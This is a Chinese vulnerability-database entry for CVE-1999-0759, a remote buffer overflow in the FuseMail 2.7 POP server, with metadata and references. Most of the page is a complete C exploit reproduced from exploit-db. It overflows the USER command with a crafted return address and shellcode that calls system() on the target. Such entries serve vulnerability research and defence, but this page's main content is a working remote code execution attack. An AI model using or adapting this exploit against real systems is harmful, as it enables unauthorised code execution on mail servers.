FuseWare FuseMail POP Mail缓冲区溢出漏洞

FuseWare FuseMail POP Mail缓冲区溢出漏洞

漏洞ID 1105538 漏洞类型 缓冲区溢出
发布时间 1999-09-13 更新时间 2005-05-02
图片[1]-FuseWare FuseMail POP Mail缓冲区溢出漏洞-安全小百科CVE编号 CVE-1999-0759
图片[2]-FuseWare FuseMail POP Mail缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-199909-027
漏洞平台 Windows CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/19496
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199909-027
|漏洞详情
FuseMAILPOP服务器存在缓冲区溢出漏洞。可以利用长USER和PASS命令导致该漏洞。
|漏洞EXP
source: http://www.securityfocus.com/bid/634/info

There is a buffer overflow in the FuseMail POP service (long USER,PASS) that may allow an intruder to execute arbitrary code on the target server. 

FuseMail 2.7

/*=============================================================================
   FuseMail Version 2.7 Exploit for Windows98
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN ([email protected])
  =============================================================================
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>

#define     BUFSIZE     1159
#define     RETADR      1074
#define     FTP_PORT    110
#define     JMP_ESP     0xbff7a027

unsigned char exploit_code[200]={
0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
0xFF,0x00
};
unsigned char cmdbuf[200]="msvcrt.dll.system.notepad.exe";

int     main(int argc,char *argv[])
{
        struct hostent      *hs;
        struct sockaddr_in  cli;
        char                packetbuf[3000],buf[1500];
        int                 sockfd,i,ip;

        if (argc<2){
            printf("usagen %s HostNamen",argv[0]);
            exit(1);
        }
        bzero(&cli, sizeof(cli));
        cli.sin_family = AF_INET;
        cli.sin_port = htons(FTP_PORT);
        if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){
            if ((hs=gethostbyname(argv[1]))==NULL){
                printf("Can not resolve specified host.n");
                exit(1);
            }
            cli.sin_family = hs->h_addrtype;
            memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
        }

        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
                perror("socket"); exit(0);
        }

        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
                perror("connect"); exit(0);
        }
        while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
                packetbuf[i]=0;
                if(strchr(packetbuf,'n')!=NULL) break;
        }

        strcat(exploit_code,cmdbuf);
        memset(buf,'a',BUFSIZE);
        buf[BUFSIZE]=0;
        ip=JMP_ESP;
        buf[RETADR  ]=ip&0xff;
        buf[RETADR+1]=(ip>>8)&0xff;
        buf[RETADR+2]=(ip>>16)&0xff;
        buf[RETADR+3]=(ip>>24)&0xff;
        strncpy(buf+RETADR+4,exploit_code,strlen(exploit_code));
        sprintf(packetbuf,"USER %srn",buf);
        write(sockfd,packetbuf,strlen(packetbuf));

        while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
                packetbuf[i]=0;
                if(strchr(packetbuf,'n')!=NULL) break;
        }

        memset(packetbuf,0,1024);
        sprintf(packetbuf,"PASS samplern");
        write(sockfd,packetbuf,strlen(packetbuf));

        close(sockfd);
}

-------------------
|参考资料

来源:www.crosswinds.net
链接:http://www.crosswinds.net/~fuseware/faq.html#8
来源:BID
名称:634
链接:http://www.securityfocus.com/bid/634

相关推荐: Linux Kernel Promiscuous Mode Status Vulnerability

Linux Kernel Promiscuous Mode Status Vulnerability 漏洞ID 1101733 漏洞类型 Design Error 发布时间 2002-07-24 更新时间 2002-07-24 CVE编号 N/A CNNVD-…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享